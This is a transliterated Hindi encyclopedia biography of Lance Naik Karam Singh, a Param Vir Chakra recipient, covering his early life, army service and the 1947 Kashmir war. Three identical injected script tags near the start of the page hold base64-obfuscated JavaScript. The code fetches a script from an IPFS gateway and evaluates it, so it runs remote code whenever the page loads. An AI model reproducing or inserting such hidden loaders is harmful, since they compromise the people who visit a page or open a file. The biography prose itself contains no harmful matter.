करम सिंह

भारत डिस्कवरी प्रस्तुति
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
karam sianh
poora nam laans nayak karam sianh
janm 15 sitambar, 1915
janm bhoomi bhaliyaan gaanv, panjab
mrityu 20 janavari, 1993 (ayu- 77)
sthan baranala, panjab
abhibhavak saradar uttam sianh (pita)
pati/patni guradayal kaur
sena bharatiy thal sena
raiank soobedar, kaiptan
yoonit pahali sikkh bataliyan
seva kal 1941–1969
yuddh bharat-pakistan yuddh (1947)
samman paramavir chakr, sena padak
nagarikata bharatiy
any janakari jammoo kashmir ka yuddh hi unaki bahaduri ki kahani nahian kahata balki usake pahale ve doosare vishv yuddh mean bhi apani virata ka paracham lahara chuke the, jisake lie inhean 14 march 1944 ko sena padak mila aur is samman ke sath hi inhean padonnati dekar laans nayak bhi banaya gaya.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

laans nayak karam sianh (aangrezi: Lance Naik Karam Singh, janm: 15 sitambar, 1915; mrityu: 20 janavari, 1993) bharat ke doosare paramavir chakr se sammanit vyakti the. inhean yah samman san 1948 mean mila.

jivan parichay

laans nayak karam sianh ka janm 15 sitambar 1915 ko panjab ke sangaroor zile ke bhaliyaan vale gaanv mean hua tha. 6 varsh ki umr mean karam sianh ko skool bheja gaya aur poori koshish ke bad parinam yahi nikala ki unhean padha pana kisi ke lie bhi asambhav hai. inake pita saradar uttam sianh ek sampann kisan the. unhoanne koshish ki ki karam sianh kheti ba di mean hi lag jaean, lekin vahaan bhi inhean kamayabi nahian mili. karam sianh ka man vahaan bhi ramata nazar nahian aya aur is tarah vah ek nalayak bachche ki tarah shumar kiye jane lage. doosari or karam sianh ke man mean sahasik aur romaanchak ziandagi ki lalak thi aur inake chacha hi inake adarsh the, jo phauj mean jooniyar kamaandiang aauphisar the. apani hi tarah ki is tabiyat ke chalate karam sianh gaanv mean kushti aur khel-kood ke chaianpiyan kahe jate the.

sena mean bharti

apani ane vali ziandagi mean jo tamage inhean sachamuch desh bhar ka siramaur banane vale the, unaki buniyad 15 sitambar 1941 ko p di. doosara vishv yuddh poore jor-shor se jari tha. unhian dinoan phauj ki bharti ka ek mauka unake gaanv mean bhi aya, jise karam sianh ne nahian ganvaya aur is tarah 26 varsh ki umr mean karam sianh ek phauji ban ge. raanchi mean behad saralata se apani treniang poori karane ke bad inhean agast 1942 mean sikh rejimeant mean liya gaya. vahaan se hi, karam sianh ne apani dhak ek kushal nayak ke roop mean jamaee aur apane aphasaroan ko yah abhas diya ki vah kathin paristhiti mean turant thik nirnay lene ki kshamata rakhane vale sainik haian. karam sianh ne apani pahachan n sirph l daee ke maidan mean banaee, balki khel ke maidan mean bhi vah pichhe nahian rahe. jahaan bachapan mean vah kushti mean apana nam rakhate the, vahian phauj mean unhoanne pol v aault tatha ooanchi kood mean nam raushan kiya.

1947 yuddh

3 joon, 1947 ko aangrezoan ne desh ke bantavare ki apani yojana ki ghoshana ki. us samay yah desh chhoti-b di riyasatoan mean banta hua tha. aangrezoan ne yah prastav rakha ki riyasatean, jis kisi bhi bante hue hisse, hiandustan ya pakistan, mean milana chahean mil jaean ya chahean to svatantr rahane ki marzi jahir karean. lagabhag sab riyasatoan ne apana nirnay liya. jin riyasatoan ne kahian bhi n milana tay kiya, jammoo kashmir unamean se ek riyasat thi, jisamean maharaja hari sianh ki hukoomat thi. unhoanne apani praja ki marzi janane ke nam par, nirnay lene se pahale kuchh samay maanga jo aangrejoan ne diya. bharat aur pakistan donoan ko is bich dhairy poorvak iantajar karana tha. bharat us samay bantavare ki samasyaoan mean ulajha hua tha, isaliye vah to us or se khamosh tha hi, lekin pakistan to jammoo kashmir par aankh g dae baitha tha. use lagata tha ki muslim abadi tatha sima ke hisab se jammoo kashmir use hi milana chahiye. pakistan is intajar mean bechain ho gaya. usane jammoo kashmir ko hamesha se milane vali rashan, tel, namak, kirosin adi ki saplaee band karadi. usaka irada raja hari sianh par dabab dalana tha. usake bad usane 20 aktoobar, 1947 ko jammoo kashmir par sab taraph se hamala kar diya. kashmir ne bharat se madad maangi to bharat ne kaha ki chooanki kashmir svatantr rahana chahata hai, isalie usaka bich mean p dana thik nahian hai. is par ghabarakar hari sianh ne yathasthiti banae rakhate hue bharat ke sath ju dane ka prastav patr likha jise bharat ne svikar kar liya. ab l daee bharat aur pakistan ki ho gee. bharat is taraph akela tha aur pakistan ko britisharaj ke phauji aur nagarik, adhikariyoan ka gup-chup hausala tha. bharat is yuddh ka hissa 28 aktoobar se bana aur use yah l daee ek sath kee morchoan par l dani p di. mejar somanath sharma ranabhoomi mean shahid ho gaye the jabaki laans nayak ne n keval fatah hasil ki, balki apani tuk di ki jan bhi salamat rakhi.

nidhan

jammoo kashmir ka yuddh hi unaki bahaduri ki kahani nahian kahata balki usake pahale ve doosare vishv yuddh mean bhi apani virata ka paracham lahara chuke the jisake lie inhean 14 march 1944 ko sena padak mila aur is samman ke sath hi inhean padonnati dekar laans nayak bhi banaya gaya. desh ko apane shaury se vijay ka itihas dekar laans nayak karam sianh ne ek lamba jivan jiya aur varsh 1993 mean apane gaanv mean unhoanne shaantipoorvak aantim saans li. us samay unaki patni guradayal kaur unake sath thian.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  • pustak- paramavir chakr vijeta, lekhak- ashok gupta, prishth sankhya- 43

bahari k diyaan

sanbandhit lekh

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paramavir chakr samman

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